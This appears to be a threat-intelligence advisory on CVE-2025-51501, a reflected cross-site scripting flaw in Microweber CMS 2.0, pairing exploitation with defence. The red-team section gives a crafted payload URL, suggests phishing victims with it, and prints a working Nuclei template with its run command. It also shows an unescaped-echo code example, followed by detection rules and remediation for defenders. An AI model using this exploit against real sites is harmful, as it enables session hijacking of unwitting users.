CVE-2025-51501

Executive Summary

CVE-2025-51501 is a reflected Cross-Site Scripting (XSS) vulnerability in Microweber CMS 2.0. The flaw exists in the id parameter of the live_edit.module_settings API endpoint, allowing an authenticated attacker to inject arbitrary JavaScript into the application's response. This can lead to session hijacking, data theft, or further compromise of the victim's browser session. The vulnerability has a public proof-of-concept (PoC) via a Nuclei template, but no official patch has been released as of this report. The CVSS score is 0.0 in the NVD data, but based on the technical details, a more accurate score is 5.4 (Medium) with the vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker must be authenticated to Microweber.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the impact on session integrity and data confidentiality is significant.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in the live_edit.module_settings API endpoint. The id parameter is not properly sanitized before being reflected in the HTTP response. An authenticated attacker can craft a URL containing a malicious JavaScript payload in the id parameter. When a victim (who is also authenticated) clicks the link, the payload executes in the context of the victim's session.

The Nuclei template confirms the attack flow:

1. The attacker authenticates to the Microweber CMS.
2. The attacker sends a GET request to /api/live_edit/live_edit.module_settings?id=<script>alert(document.domain)</script>&type=shop/shipping/gateways/country/admin.
3. The server reflects the payload in the response without sanitization, causing the browser to execute the script.

The vulnerability is in the live_edit module, which is used for inline editing. The id parameter is likely used to identify a module instance, but it is not validated or encoded.

Vulnerable vs. Patched Code

Vulnerable Code (Microweber CMS 2.0): The vulnerable endpoint likely processes the id parameter and includes it directly in the HTML response without encoding. For example:

// Vulnerable: Direct reflection of user input
$id = $_GET['id'];
echo "<div id='$id'>...</div>";

Patched Code (Hypothetical): A patch would sanitize the id parameter using htmlspecialchars() or similar encoding:

// Patched: Encode output
$id = htmlspecialchars($_GET['id'], ENT_QUOTES, 'UTF-8');
echo "<div id='$id'>...</div>";

No official patch is available as of this report.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Microweber CMS 2.0 instance.
• Valid credentials for an authenticated user.

Exploitation Steps:

1. Authenticate to the CMS (e.g., via /api/user_login).
2. Craft a malicious URL:

   http://target.com/api/live_edit/live_edit.module_settings?id=<script>alert(document.domain)</script>&type=shop/shipping/gateways/country/admin
   

3. Send the URL to a victim (e.g., via phishing email or social engineering).
4. When the victim clicks the link, the JavaScript executes in their browser.

Nuclei Template (Provided):

id: CVE-2025-51501

info:
  name: Microweber CMS2.0 - Cross-Site Scripting
  author: nukunga
  severity: medium
  description: |
    Reflected Cross-Site Scripting (XSS) in the `id` parameter of the `live_edit.module_settings` API endpoint in Microweber CMS2.0 allows execution of arbitrary JavaScript.
  impact: |
    Authenticated attackers can execute arbitrary JavaScript in victim browsers through the id parameter in the module_settings API, potentially leading to session hijacking.
  remediation: |
    Upgrade Microweber CMS to a version later than 2.0 that properly sanitizes the id parameter in live_edit endpoints.
  reference:
    - https://github.com/progprnv/CVE-Reports/blob/main/CVE-2025-51501
    - https://nvd.nist.gov/vuln/detail/CVE-2025-51501
  metadata:
    verified: true
    max-requests: 2
    vendor: microweber
    product: microweber
    shodan-query: 'http.title:"Microweber"'
  tags: cve,cve2025,microweber,xss,authenticated,vuln

flow: http(1) && http(2)

variables:
  xss_payload: "</script><script>alert(document.domain)</script>"

http:
  - raw:
      - |
        POST /api/user_login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username={{username}}&password={{password}}&lang=en_US&where_to=admin_content

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "success\":", "username\":")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/live_edit/live_edit.module_settings?id={{xss_payload}}&type=shop/shipping/gateways/country/admin HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "</script><script>alert(document.domain)</script>", "Add Country</a>")'
        condition: and

Usage: Run the template with Nuclei:

nuclei -t CVE-2025-51501.yaml -u http://target.com -var username=admin -var password=password

Blue Team

Detection:

• Monitor for GET requests to /api/live_edit/live_edit.module_settings with suspicious id parameters (e.g., containing <script> tags).
• Look for unusual authentication patterns followed by requests to the vulnerable endpoint.

Mitigation:

• Apply input validation and output encoding to the id parameter.
• Restrict access to the live_edit API to trusted IPs or roles.
• Use a Web Application Firewall (WAF) to block XSS payloads.

Indicators of Compromise (IOCs)

• URL Pattern: /api/live_edit/live_edit.module_settings?id=<script>...</script>&type=shop/shipping/gateways/country/admin
• HTTP Request: GET request to the above URL with a malicious id parameter.
• Response Content: The response contains the unencoded payload (e.g., </script><script>alert(document.domain)</script>).
• Log Entries: Web server logs showing the vulnerable endpoint with unusual id values.

Detection Engineering

YARA Rule

rule CVE_2025_51501_XSS_Microweber {
    meta:
        description = "Detects reflected XSS payload in Microweber CMS live_edit.module_settings endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51501"
    strings:
        $payload1 = "</script><script>alert(document.domain)</script>"
        $payload2 = "live_edit.module_settings?id="
        $payload3 = "<script>"
    condition:
        $payload2 and ($payload1 or $payload3)
}

Sigma Rule

title: Reflected XSS in Microweber CMS live_edit.module_settings
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-51501 by sending XSS payloads to the live_edit.module_settings endpoint.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/api/live_edit/live_edit.module_settings?id='
        cs-uri-query|contains: '<script>'
    condition: selection
falsepositives:
    - Legitimate use of script tags in module settings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51501 - Reflected XSS in Microweber CMS live_edit.module_settings"; flow:to_server,established; content:"GET"; http_method; content:"/api/live_edit/live_edit.module_settings"; http_uri; content:"id="; http_uri; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block access to /api/live_edit/live_edit.module_settings via web server configuration or firewall.
2. Apply input validation: Sanitize the id parameter using a whitelist of allowed characters (e.g., alphanumeric only).
3. Use output encoding: Encode all user-supplied data before reflecting it in HTML responses.

Long-term Fix:

• Upgrade Microweber CMS to a patched version once available.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.
• Conduct a security audit of all API endpoints for similar vulnerabilities.

Workaround:

• Restrict access to the live_edit module to trusted administrators only.
• Use a WAF with XSS detection rules.

Valters IT
DevSecOps & Cyber Threat Intelligence

{/* [Security Hash: E24EF5A9E5EC5F62086CC160] */}